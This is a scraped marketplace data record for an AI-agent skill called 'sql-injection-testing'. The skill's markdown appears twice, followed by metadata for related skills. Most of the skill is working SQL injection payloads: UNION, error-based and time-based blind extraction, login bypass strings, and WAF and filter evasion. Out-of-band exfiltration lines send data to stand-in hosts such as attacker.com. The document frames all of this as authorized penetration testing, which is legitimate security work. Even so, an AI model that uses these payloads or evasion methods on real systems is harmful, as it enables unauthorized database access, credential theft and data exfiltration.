[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6AFVQ10FF0QJ9AJ8SG0P6DS":3,"skill-same:01M6AFVQ10FF0QJ9AJ8SG0P6DS":88},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":34,"publishedAt":56,"linkOnly":57,"markdownContent":58,"markdownBody":59,"frontMatter":60,"refName":64,"commitSha":65,"skillDirectory":66,"forksCount":67,"repositoryHtmlUrl":68,"repositoryHomepageUrl":69,"ownerHtmlUrl":70,"ownerBlogUrl":71,"ownerDescription":72,"updatedAt":73,"install":74,"resources":87},"01M6AFVQ10FF0QJ9AJ8SG0P6DS","sql-injection-testing",null,"This skill should be used when the user asks to \"test for SQL injection vulnerabilities\", \"perform SQLi attacks\", \"bypass authentication using SQL injection\", \"extract database information through injection\", \"detect SQL injection flaws\", or \"exploit database query vulnerabilities\". It provides comprehensive techniques for identifying, exploiting, and understanding SQL injection attack vectors across different database systems.","davila7\u002Fclaude-code-templates","davila7","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F6216945?v=4","01M6ADEWWFPS191NFM0Y1EX1JH","Daniel Avila","01M6ADJHGM78PHQRD3XZTFDVKK",33481,"MIT","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fsecurity\u002Fsql-injection-testing\u002FSKILL.md",[18,23,26,29],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000010","后端与接口",{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发",{"categoryNo":30,"categoryName":31,"taxonomyType":32,"taxonomyTypeDesc":33},"01JBSEEDCAT000000000000033","数据分析师","PROFESSION","适用职业",[35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55],"sql","sql injection","injection","sql injection testing","testing","query","when","for","techniques","attacks","information","detect","systems","across","database query","exploit","sqli","database","authentication","test","vulnerabilities","2026-11-10 10:12:30",false,"---\nname: sql-injection-testing\ndescription: This skill should be used when the user asks to \"test for SQL injection vulnerabilities\", \"perform SQLi attacks\", \"bypass authentication using SQL injection\", \"extract database information through injection\", \"detect SQL injection flaws\", or \"exploit database query vulnerabilities\". It provides comprehensive techniques for identifying, exploiting, and understanding SQL injection attack vectors across different database systems.\nmetadata:\n  author: zebbern\n  version: \"1.1\"\n---\n\n# SQL Injection Testing\n\n## Purpose\n\nExecute comprehensive SQL injection vulnerability assessments on web applications to identify database security flaws, demonstrate exploitation techniques, and validate input sanitization mechanisms. This skill enables systematic detection and exploitation of SQL injection vulnerabilities across in-band, blind, and out-of-band attack vectors to assess application security posture.\n\n## Inputs \u002F Prerequisites\n\n### Required Access\n- Target web application URL with injectable parameters\n- Burp Suite or equivalent proxy tool for request manipulation\n- SQLMap installation for automated exploitation\n- Browser with developer tools enabled\n\n### Technical Requirements\n- Understanding of SQL query syntax (MySQL, MSSQL, PostgreSQL, Oracle)\n- Knowledge of HTTP request\u002Fresponse cycle\n- Familiarity with database schemas and structures\n- Write permissions for testing reports\n\n### Legal Prerequisites\n- Written authorization for penetration testing\n- Defined scope including target URLs and parameters\n- Emergency contact procedures established\n- Data handling agreements in place\n\n## Outputs \u002F Deliverables\n\n### Primary Outputs\n- SQL injection vulnerability report with severity ratings\n- Extracted database schemas and table structures\n- Authentication bypass proof-of-concept demonstrations\n- Remediation recommendations with code examples\n\n### Evidence Artifacts\n- Screenshots of successful injections\n- HTTP request\u002Fresponse logs\n- Database dumps (sanitized)\n- Payload documentation\n\n## Core Workflow\n\n### Phase 1: Detection and Reconnaissance\n\n#### Identify Injectable Parameters\nLocate user-controlled input fields that interact with database queries:\n\n```\n# Common injection points\n- URL parameters: ?id=1, ?user=admin, ?category=books\n- Form fields: username, password, search, comments\n- Cookie values: session_id, user_preference\n- HTTP headers: User-Agent, Referer, X-Forwarded-For\n```\n\n#### Test for Basic Vulnerability Indicators\nInsert special characters to trigger error responses:\n\n```sql\n-- Single quote test\n'\n\n-- Double quote test\n\"\n\n-- Comment sequences\n--\n#\n\u002F**\u002F\n\n-- Semicolon for query stacking\n;\n\n-- Parentheses\n)\n```\n\nMonitor application responses for:\n- Database error messages revealing query structure\n- Unexpected application behavior changes\n- HTTP 500 Internal Server errors\n- Modified response content or length\n\n#### Logic Testing Payloads\nVerify boolean-based vulnerability presence:\n\n```sql\n-- True condition tests\npage.asp?id=1 or 1=1\npage.asp?id=1' or 1=1--\npage.asp?id=1\" or 1=1--\n\n-- False condition tests  \npage.asp?id=1 and 1=2\npage.asp?id=1' and 1=2--\n```\n\nCompare responses between true and false conditions to confirm injection capability.\n\n### Phase 2: Exploitation Techniques\n\n#### UNION-Based Extraction\nCombine attacker-controlled SELECT statements with original query:\n\n```sql\n-- Determine column count\nORDER BY 1--\nORDER BY 2--\nORDER BY 3--\n-- Continue until error occurs\n\n-- Find displayable columns\nUNION SELECT NULL,NULL,NULL--\nUNION SELECT 'a',NULL,NULL--\nUNION SELECT NULL,'a',NULL--\n\n-- Extract data\nUNION SELECT username,password,NULL FROM users--\nUNION SELECT table_name,NULL,NULL FROM information_schema.tables--\nUNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'--\n```\n\n#### Error-Based Extraction\nForce database errors that leak information:\n\n```sql\n-- MSSQL version extraction\n1' AND 1=CONVERT(int,(SELECT @@version))--\n\n-- MySQL extraction via XPATH\n1' AND extractvalue(1,concat(0x7e,(SELECT @@version)))--\n\n-- PostgreSQL cast errors\n1' AND 1=CAST((SELECT version()) AS int)--\n```\n\n#### Blind Boolean-Based Extraction\nInfer data through application behavior changes:\n\n```sql\n-- Character extraction\n1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'--\n1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='b'--\n\n-- Conditional responses\n1' AND (SELECT COUNT(*) FROM users WHERE username='admin')>0--\n```\n\n#### Time-Based Blind Extraction\nUse database sleep functions for confirmation:\n\n```sql\n-- MySQL\n1' AND IF(1=1,SLEEP(5),0)--\n1' AND IF((SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a',SLEEP(5),0)--\n\n-- MSSQL\n1'; WAITFOR DELAY '0:0:5'--\n\n-- PostgreSQL\n1'; SELECT pg_sleep(5)--\n```\n\n#### Out-of-Band (OOB) Extraction\nExfiltrate data through external channels:\n\n```sql\n-- MSSQL DNS exfiltration\n1; EXEC master..xp_dirtree '\\\\attacker-server.com\\share'--\n\n-- MySQL DNS exfiltration\n1' UNION SELECT LOAD_FILE(CONCAT('\\\\\\\\',@@version,'.attacker.com\\\\a'))--\n\n-- Oracle HTTP request\n1' UNION SELECT UTL_HTTP.REQUEST('http:\u002F\u002Fattacker.com\u002F'||(SELECT user FROM dual)) FROM dual--\n```\n\n### Phase 3: Authentication Bypass\n\n#### Login Form Exploitation\nCraft payloads to bypass credential verification:\n\n```sql\n-- Classic bypass\nadmin'--\nadmin'\u002F*\n' OR '1'='1\n' OR '1'='1'--\n' OR '1'='1'\u002F*\n') OR ('1'='1\n') OR ('1'='1'--\n\n-- Username enumeration\nadmin' AND '1'='1\nadmin' AND '1'='2\n```\n\nQuery transformation example:\n```sql\n-- Original query\nSELECT * FROM users WHERE username='input' AND password='input'\n\n-- Injected (username: admin'--)\nSELECT * FROM users WHERE username='admin'--' AND password='anything'\n-- Password check bypassed via comment\n```\n\n### Phase 4: Filter Bypass Techniques\n\n#### Character Encoding Bypass\nWhen special characters are blocked:\n\n```sql\n-- URL encoding\n%27 (single quote)\n%22 (double quote)\n%23 (hash)\n\n-- Double URL encoding\n%2527 (single quote)\n\n-- Unicode alternatives\nU+0027 (apostrophe)\nU+02B9 (modifier letter prime)\n\n-- Hexadecimal strings (MySQL)\nSELECT * FROM users WHERE name=0x61646D696E  -- 'admin' in hex\n```\n\n#### Whitespace Bypass\nSubstitute blocked spaces:\n\n```sql\n-- Comment substitution\nSELECT\u002F**\u002Fusername\u002F**\u002FFROM\u002F**\u002Fusers\nSEL\u002F**\u002FECT\u002F**\u002Fusername\u002F**\u002FFR\u002F**\u002FOM\u002F**\u002Fusers\n\n-- Alternative whitespace\nSELECT%09username%09FROM%09users  -- Tab character\nSELECT%0Ausername%0AFROM%0Ausers  -- Newline\n```\n\n#### Keyword Bypass\nEvade blacklisted SQL keywords:\n\n```sql\n-- Case variation\nSeLeCt, sElEcT, SELECT\n\n-- Inline comments\nSEL\u002F*bypass*\u002FECT\nUN\u002F*bypass*\u002FION\n\n-- Double writing (if filter removes once)\nSELSELECTECT → SELECT\nUNUNIONION → UNION\n\n-- Null byte injection\n%00SELECT\nSEL%00ECT\n```\n\n## Quick Reference\n\n### Detection Test Sequence\n```\n1. Insert ' → Check for error\n2. Insert \" → Check for error\n3. Try: OR 1=1-- → Check for behavior change\n4. Try: AND 1=2-- → Check for behavior change\n5. Try: ' WAITFOR DELAY '0:0:5'-- → Check for delay\n```\n\n### Database Fingerprinting\n```sql\n-- MySQL\nSELECT @@version\nSELECT version()\n\n-- MSSQL\nSELECT @@version\nSELECT @@servername\n\n-- PostgreSQL\nSELECT version()\n\n-- Oracle\nSELECT banner FROM v$version\nSELECT * FROM v$version\n```\n\n### Information Schema Queries\n```sql\n-- MySQL\u002FMSSQL table enumeration\nSELECT table_name FROM information_schema.tables WHERE table_schema=database()\n\n-- Column enumeration\nSELECT column_name FROM information_schema.columns WHERE table_name='users'\n\n-- Oracle equivalent\nSELECT table_name FROM all_tables\nSELECT column_name FROM all_tab_columns WHERE table_name='USERS'\n```\n\n### Common Payloads Quick List\n| Purpose | Payload |\n|---------|---------|\n| Basic test | `'` or `\"` |\n| Boolean true | `OR 1=1--` |\n| Boolean false | `AND 1=2--` |\n| Comment (MySQL) | `#` or `-- ` |\n| Comment (MSSQL) | `--` |\n| UNION probe | `UNION SELECT NULL--` |\n| Time delay | `AND SLEEP(5)--` |\n| Auth bypass | `' OR '1'='1` |\n\n## Constraints and Guardrails\n\n### Operational Boundaries\n- Never execute destructive queries (DROP, DELETE, TRUNCATE) without explicit authorization\n- Limit data extraction to proof-of-concept quantities\n- Avoid denial-of-service through resource-intensive queries\n- Stop immediately upon detecting production database with real user data\n\n### Technical Limitations\n- WAF\u002FIPS may block common payloads requiring evasion techniques\n- Parameterized queries prevent standard injection\n- Some blind injection requires extensive requests (rate limiting concerns)\n- Second-order injection requires understanding of data flow\n\n### Legal and Ethical Requirements\n- Written scope agreement must exist before testing\n- Document all extracted data and handle per data protection requirements\n- Report critical vulnerabilities immediately through agreed channels\n- Never access data beyond scope requirements\n\n## Examples\n\n### Example 1: E-commerce Product Page SQLi\n\n**Scenario**: Testing product display page with ID parameter\n\n**Initial Request**:\n```\nGET \u002Fproduct.php?id=5 HTTP\u002F1.1\n```\n\n**Detection Test**:\n```\nGET \u002Fproduct.php?id=5' HTTP\u002F1.1\nResponse: MySQL error - syntax error near ''' \n```\n\n**Column Enumeration**:\n```\nGET \u002Fproduct.php?id=5 ORDER BY 4-- HTTP\u002F1.1\nResponse: Normal\nGET \u002Fproduct.php?id=5 ORDER BY 5-- HTTP\u002F1.1\nResponse: Error (4 columns confirmed)\n```\n\n**Data Extraction**:\n```\nGET \u002Fproduct.php?id=-5 UNION SELECT 1,username,password,4 FROM admin_users-- HTTP\u002F1.1\nResponse: Displays admin credentials\n```\n\n### Example 2: Blind Time-Based Extraction\n\n**Scenario**: No visible output, testing for blind injection\n\n**Confirm Vulnerability**:\n```sql\nid=5' AND SLEEP(5)-- \n-- Response delayed by 5 seconds (vulnerable confirmed)\n```\n\n**Extract Database Name Length**:\n```sql\nid=5' AND IF(LENGTH(database())=8,SLEEP(5),0)--\n-- Delay confirms database name is 8 characters\n```\n\n**Extract Characters**:\n```sql\nid=5' AND IF(SUBSTRING(database(),1,1)='a',SLEEP(5),0)--\n-- Iterate through characters to extract: 'appstore'\n```\n\n### Example 3: Login Bypass\n\n**Target**: Admin login form\n\n**Standard Login Query**:\n```sql\nSELECT * FROM users WHERE username='[input]' AND password='[input]'\n```\n\n**Injection Payload**:\n```\nUsername: administrator'--\nPassword: anything\n```\n\n**Resulting Query**:\n```sql\nSELECT * FROM users WHERE username='administrator'--' AND password='anything'\n```\n\n**Result**: Password check bypassed, authenticated as administrator.\n\n## Troubleshooting\n\n### No Error Messages Displayed\n- Application uses generic error handling\n- Switch to blind injection techniques (boolean or time-based)\n- Monitor response length differences instead of content\n\n### UNION Injection Fails\n- Column count may be incorrect → Test with ORDER BY\n- Data types may mismatch → Use NULL for all columns first\n- Results may not display → Find injectable column positions\n\n### WAF Blocking Requests\n- Use encoding techniques (URL, hex, unicode)\n- Insert inline comments within keywords\n- Try alternative syntax for same operations\n- Fragment payload across multiple parameters\n\n### Payload Not Executing\n- Verify correct comment syntax for database type\n- Check if application uses parameterized queries\n- Confirm input reaches SQL query (not filtered client-side)\n- Test different injection points (headers, cookies)\n\n### Time-Based Injection Inconsistent\n- Network latency may cause false positives\n- Use longer delays (10+ seconds) for clarity\n- Run multiple tests to confirm pattern\n- Consider server-side caching effects\n","# SQL Injection Testing\n\n## Purpose\n\nExecute comprehensive SQL injection vulnerability assessments on web applications to identify database security flaws, demonstrate exploitation techniques, and validate input sanitization mechanisms. This skill enables systematic detection and exploitation of SQL injection vulnerabilities across in-band, blind, and out-of-band attack vectors to assess application security posture.\n\n## Inputs \u002F Prerequisites\n\n### Required Access\n- Target web application URL with injectable parameters\n- Burp Suite or equivalent proxy tool for request manipulation\n- SQLMap installation for automated exploitation\n- Browser with developer tools enabled\n\n### Technical Requirements\n- Understanding of SQL query syntax (MySQL, MSSQL, PostgreSQL, Oracle)\n- Knowledge of HTTP request\u002Fresponse cycle\n- Familiarity with database schemas and structures\n- Write permissions for testing reports\n\n### Legal Prerequisites\n- Written authorization for penetration testing\n- Defined scope including target URLs and parameters\n- Emergency contact procedures established\n- Data handling agreements in place\n\n## Outputs \u002F Deliverables\n\n### Primary Outputs\n- SQL injection vulnerability report with severity ratings\n- Extracted database schemas and table structures\n- Authentication bypass proof-of-concept demonstrations\n- Remediation recommendations with code examples\n\n### Evidence Artifacts\n- Screenshots of successful injections\n- HTTP request\u002Fresponse logs\n- Database dumps (sanitized)\n- Payload documentation\n\n## Core Workflow\n\n### Phase 1: Detection and Reconnaissance\n\n#### Identify Injectable Parameters\nLocate user-controlled input fields that interact with database queries:\n\n```\n# Common injection points\n- URL parameters: ?id=1, ?user=admin, ?category=books\n- Form fields: username, password, search, comments\n- Cookie values: session_id, user_preference\n- HTTP headers: User-Agent, Referer, X-Forwarded-For\n```\n\n#### Test for Basic Vulnerability Indicators\nInsert special characters to trigger error responses:\n\n```sql\n-- Single quote test\n'\n\n-- Double quote test\n\"\n\n-- Comment sequences\n--\n#\n\u002F**\u002F\n\n-- Semicolon for query stacking\n;\n\n-- Parentheses\n)\n```\n\nMonitor application responses for:\n- Database error messages revealing query structure\n- Unexpected application behavior changes\n- HTTP 500 Internal Server errors\n- Modified response content or length\n\n#### Logic Testing Payloads\nVerify boolean-based vulnerability presence:\n\n```sql\n-- True condition tests\npage.asp?id=1 or 1=1\npage.asp?id=1' or 1=1--\npage.asp?id=1\" or 1=1--\n\n-- False condition tests  \npage.asp?id=1 and 1=2\npage.asp?id=1' and 1=2--\n```\n\nCompare responses between true and false conditions to confirm injection capability.\n\n### Phase 2: Exploitation Techniques\n\n#### UNION-Based Extraction\nCombine attacker-controlled SELECT statements with original query:\n\n```sql\n-- Determine column count\nORDER BY 1--\nORDER BY 2--\nORDER BY 3--\n-- Continue until error occurs\n\n-- Find displayable columns\nUNION SELECT NULL,NULL,NULL--\nUNION SELECT 'a',NULL,NULL--\nUNION SELECT NULL,'a',NULL--\n\n-- Extract data\nUNION SELECT username,password,NULL FROM users--\nUNION SELECT table_name,NULL,NULL FROM information_schema.tables--\nUNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'--\n```\n\n#### Error-Based Extraction\nForce database errors that leak information:\n\n```sql\n-- MSSQL version extraction\n1' AND 1=CONVERT(int,(SELECT @@version))--\n\n-- MySQL extraction via XPATH\n1' AND extractvalue(1,concat(0x7e,(SELECT @@version)))--\n\n-- PostgreSQL cast errors\n1' AND 1=CAST((SELECT version()) AS int)--\n```\n\n#### Blind Boolean-Based Extraction\nInfer data through application behavior changes:\n\n```sql\n-- Character extraction\n1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'--\n1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='b'--\n\n-- Conditional responses\n1' AND (SELECT COUNT(*) FROM users WHERE username='admin')>0--\n```\n\n#### Time-Based Blind Extraction\nUse database sleep functions for confirmation:\n\n```sql\n-- MySQL\n1' AND IF(1=1,SLEEP(5),0)--\n1' AND IF((SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a',SLEEP(5),0)--\n\n-- MSSQL\n1'; WAITFOR DELAY '0:0:5'--\n\n-- PostgreSQL\n1'; SELECT pg_sleep(5)--\n```\n\n#### Out-of-Band (OOB) Extraction\nExfiltrate data through external channels:\n\n```sql\n-- MSSQL DNS exfiltration\n1; EXEC master..xp_dirtree '\\\\attacker-server.com\\share'--\n\n-- MySQL DNS exfiltration\n1' UNION SELECT LOAD_FILE(CONCAT('\\\\\\\\',@@version,'.attacker.com\\\\a'))--\n\n-- Oracle HTTP request\n1' UNION SELECT UTL_HTTP.REQUEST('http:\u002F\u002Fattacker.com\u002F'||(SELECT user FROM dual)) FROM dual--\n```\n\n### Phase 3: Authentication Bypass\n\n#### Login Form Exploitation\nCraft payloads to bypass credential verification:\n\n```sql\n-- Classic bypass\nadmin'--\nadmin'\u002F*\n' OR '1'='1\n' OR '1'='1'--\n' OR '1'='1'\u002F*\n') OR ('1'='1\n') OR ('1'='1'--\n\n-- Username enumeration\nadmin' AND '1'='1\nadmin' AND '1'='2\n```\n\nQuery transformation example:\n```sql\n-- Original query\nSELECT * FROM users WHERE username='input' AND password='input'\n\n-- Injected (username: admin'--)\nSELECT * FROM users WHERE username='admin'--' AND password='anything'\n-- Password check bypassed via comment\n```\n\n### Phase 4: Filter Bypass Techniques\n\n#### Character Encoding Bypass\nWhen special characters are blocked:\n\n```sql\n-- URL encoding\n%27 (single quote)\n%22 (double quote)\n%23 (hash)\n\n-- Double URL encoding\n%2527 (single quote)\n\n-- Unicode alternatives\nU+0027 (apostrophe)\nU+02B9 (modifier letter prime)\n\n-- Hexadecimal strings (MySQL)\nSELECT * FROM users WHERE name=0x61646D696E  -- 'admin' in hex\n```\n\n#### Whitespace Bypass\nSubstitute blocked spaces:\n\n```sql\n-- Comment substitution\nSELECT\u002F**\u002Fusername\u002F**\u002FFROM\u002F**\u002Fusers\nSEL\u002F**\u002FECT\u002F**\u002Fusername\u002F**\u002FFR\u002F**\u002FOM\u002F**\u002Fusers\n\n-- Alternative whitespace\nSELECT%09username%09FROM%09users  -- Tab character\nSELECT%0Ausername%0AFROM%0Ausers  -- Newline\n```\n\n#### Keyword Bypass\nEvade blacklisted SQL keywords:\n\n```sql\n-- Case variation\nSeLeCt, sElEcT, SELECT\n\n-- Inline comments\nSEL\u002F*bypass*\u002FECT\nUN\u002F*bypass*\u002FION\n\n-- Double writing (if filter removes once)\nSELSELECTECT → SELECT\nUNUNIONION → UNION\n\n-- Null byte injection\n%00SELECT\nSEL%00ECT\n```\n\n## Quick Reference\n\n### Detection Test Sequence\n```\n1. Insert ' → Check for error\n2. Insert \" → Check for error\n3. Try: OR 1=1-- → Check for behavior change\n4. Try: AND 1=2-- → Check for behavior change\n5. Try: ' WAITFOR DELAY '0:0:5'-- → Check for delay\n```\n\n### Database Fingerprinting\n```sql\n-- MySQL\nSELECT @@version\nSELECT version()\n\n-- MSSQL\nSELECT @@version\nSELECT @@servername\n\n-- PostgreSQL\nSELECT version()\n\n-- Oracle\nSELECT banner FROM v$version\nSELECT * FROM v$version\n```\n\n### Information Schema Queries\n```sql\n-- MySQL\u002FMSSQL table enumeration\nSELECT table_name FROM information_schema.tables WHERE table_schema=database()\n\n-- Column enumeration\nSELECT column_name FROM information_schema.columns WHERE table_name='users'\n\n-- Oracle equivalent\nSELECT table_name FROM all_tables\nSELECT column_name FROM all_tab_columns WHERE table_name='USERS'\n```\n\n### Common Payloads Quick List\n| Purpose | Payload |\n|---------|---------|\n| Basic test | `'` or `\"` |\n| Boolean true | `OR 1=1--` |\n| Boolean false | `AND 1=2--` |\n| Comment (MySQL) | `#` or `-- ` |\n| Comment (MSSQL) | `--` |\n| UNION probe | `UNION SELECT NULL--` |\n| Time delay | `AND SLEEP(5)--` |\n| Auth bypass | `' OR '1'='1` |\n\n## Constraints and Guardrails\n\n### Operational Boundaries\n- Never execute destructive queries (DROP, DELETE, TRUNCATE) without explicit authorization\n- Limit data extraction to proof-of-concept quantities\n- Avoid denial-of-service through resource-intensive queries\n- Stop immediately upon detecting production database with real user data\n\n### Technical Limitations\n- WAF\u002FIPS may block common payloads requiring evasion techniques\n- Parameterized queries prevent standard injection\n- Some blind injection requires extensive requests (rate limiting concerns)\n- Second-order injection requires understanding of data flow\n\n### Legal and Ethical Requirements\n- Written scope agreement must exist before testing\n- Document all extracted data and handle per data protection requirements\n- Report critical vulnerabilities immediately through agreed channels\n- Never access data beyond scope requirements\n\n## Examples\n\n### Example 1: E-commerce Product Page SQLi\n\n**Scenario**: Testing product display page with ID parameter\n\n**Initial Request**:\n```\nGET \u002Fproduct.php?id=5 HTTP\u002F1.1\n```\n\n**Detection Test**:\n```\nGET \u002Fproduct.php?id=5' HTTP\u002F1.1\nResponse: MySQL error - syntax error near ''' \n```\n\n**Column Enumeration**:\n```\nGET \u002Fproduct.php?id=5 ORDER BY 4-- HTTP\u002F1.1\nResponse: Normal\nGET \u002Fproduct.php?id=5 ORDER BY 5-- HTTP\u002F1.1\nResponse: Error (4 columns confirmed)\n```\n\n**Data Extraction**:\n```\nGET \u002Fproduct.php?id=-5 UNION SELECT 1,username,password,4 FROM admin_users-- HTTP\u002F1.1\nResponse: Displays admin credentials\n```\n\n### Example 2: Blind Time-Based Extraction\n\n**Scenario**: No visible output, testing for blind injection\n\n**Confirm Vulnerability**:\n```sql\nid=5' AND SLEEP(5)-- \n-- Response delayed by 5 seconds (vulnerable confirmed)\n```\n\n**Extract Database Name Length**:\n```sql\nid=5' AND IF(LENGTH(database())=8,SLEEP(5),0)--\n-- Delay confirms database name is 8 characters\n```\n\n**Extract Characters**:\n```sql\nid=5' AND IF(SUBSTRING(database(),1,1)='a',SLEEP(5),0)--\n-- Iterate through characters to extract: 'appstore'\n```\n\n### Example 3: Login Bypass\n\n**Target**: Admin login form\n\n**Standard Login Query**:\n```sql\nSELECT * FROM users WHERE username='[input]' AND password='[input]'\n```\n\n**Injection Payload**:\n```\nUsername: administrator'--\nPassword: anything\n```\n\n**Resulting Query**:\n```sql\nSELECT * FROM users WHERE username='administrator'--' AND password='anything'\n```\n\n**Result**: Password check bypassed, authenticated as administrator.\n\n## Troubleshooting\n\n### No Error Messages Displayed\n- Application uses generic error handling\n- Switch to blind injection techniques (boolean or time-based)\n- Monitor response length differences instead of content\n\n### UNION Injection Fails\n- Column count may be incorrect → Test with ORDER BY\n- Data types may mismatch → Use NULL for all columns first\n- Results may not display → Find injectable column positions\n\n### WAF Blocking Requests\n- Use encoding techniques (URL, hex, unicode)\n- Insert inline comments within keywords\n- Try alternative syntax for same operations\n- Fragment payload across multiple parameters\n\n### Payload Not Executing\n- Verify correct comment syntax for database type\n- Check if application uses parameterized queries\n- Confirm input reaches SQL query (not filtered client-side)\n- Test different injection points (headers, cookies)\n\n### Time-Based Injection Inconsistent\n- Network latency may cause false positives\n- Use longer delays (10+ seconds) for clarity\n- Run multiple tests to confirm pattern\n- Consider server-side caching effects\n",{"name":5,"metadata":61,"description":7},{"author":62,"version":63},"zebbern","1.1","main","2b749c82b5d11fac39d9a6e021ce3f5b8a541bd1","cli-tool\u002Fcomponents\u002Fskills\u002Fsecurity\u002Fsql-injection-testing",3931,"https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates","https:\u002F\u002Faitmpl.com","https:\u002F\u002Fgithub.com\u002Fdavila7","https:\u002F\u002Fdanielavila.me","Building AI dev tools with LLMs","2026-11-14 06:14:46",{"source":8,"skillName":5,"commands":75,"prompt":85,"zipAvailable":86},[76,79,82],{"tool":77,"command":78},"npx","npx skills add davila7\u002Fclaude-code-templates --skill sql-injection-testing",{"tool":80,"command":81},"bunx","bunx skills add davila7\u002Fclaude-code-templates --skill sql-injection-testing",{"tool":83,"command":84},"pnpm","pnpm dlx skills add davila7\u002Fclaude-code-templates --skill sql-injection-testing","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fsecurity\u002Fsql-injection-testing\u002FSKILL.md",true,[],[89,115,142,166,201,222],{"skillNo":90,"name":91,"nameZh":6,"description":92,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":93,"categories":94,"keywords":96,"publishedAt":56},"01M70NHBTQ8BV0A2SCAZXEPHCX","wealthville-pool-scoring","Score DeFi liquidity pools before providing liquidity. Returns a 0-100 pool score and an Enter\u002FHold\u002FExit\u002FReduce\u002FAvoid verdict with calibrated confidence for ~68,800 Solana pools and 575 EVM pools, plus a public miss-inclusive track record. Use when asked whether a pool is worth LPing into, which pools look best right now, or how accurate the scores have actually been.","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fweb-data\u002Fwealthville-pool-scoring\u002FSKILL.md",[95],{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},[97,98,99,100,101,42,102,103,104,41,105,106,107,108,109,110,111,112,113,114],"scoring","pool","wealthville pool scoring","liquidity","which","exit","now","use","reduce","with","record","track","verdict","evm","solana","how","public","look",{"skillNo":116,"name":117,"nameZh":6,"description":118,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":119,"categories":120,"keywords":122,"publishedAt":56},"01M70MB6VR8ERJ4EM8D5KHBMEV","technical-debt-auditor","Scans a codebase and produces a quantified technical debt report with a prioritized remediation plan. Analyzes dead code, TODO\u002FFIXME\u002FHACK markers, dependency staleness, complexity hotspots, code duplication signals, test coverage gaps, unused exports, and outdated patterns. Use this skill when the user asks to audit their codebase for tech debt, wants a health check of their code quality, says things like \"where should I focus refactoring\", \"find code smells\", \"audit my codebase\", \"what technical debt do we have\", \"prioritize cleanup work\", or asks about code quality metrics. Also trigger when the user mentions \"code rot\", \"legacy cleanup\", \"refactoring priorities\", or wants to understand the overall health of a project before a major effort. Trigger even if the user doesn't say \"technical debt\" explicitly — any request to systematically assess code quality and identify improvement priorities belongs here.","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fdevelopment\u002Ftechnical-debt-auditor\u002FSKILL.md",[121],{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},[123,124,125,126,127,128,129,130,131,132,133,41,134,135,136,137,138,139,140,141],"technical debt","debt","technical","technical debt auditor","auditor","coverage","complexity","markers","project","cleanup","unused","code","todo","work","plan","focus","signals","audit","dependency",{"skillNo":143,"name":144,"nameZh":6,"description":145,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":146,"categories":147,"keywords":151,"publishedAt":56},"01M70KPYH9QNHCNME5GJQGE22K","readonly-sql-guard","Make an agent's database access provably read-only. Use when an agent runs caller-supplied SQL against a production\u002FERP\u002Fanalytics database (a \"query\" MCP tool, text-to-SQL, an admin console), or when reviewing DB-access code for write\u002FDDL\u002Fside-effect\u002Ftransaction-escape risks. Checks what a statement CALLS, not just its shape.","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fdatabase\u002Freadonly-sql-guard\u002FSKILL.md",[148,149,150],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":30,"categoryName":31,"taxonomyType":32,"taxonomyTypeDesc":33},[152,153,154,35,155,156,157,42,158,159,160,161,162,163,164,104,165,52,41,40],"readonly","guard","sql guard","readonly sql 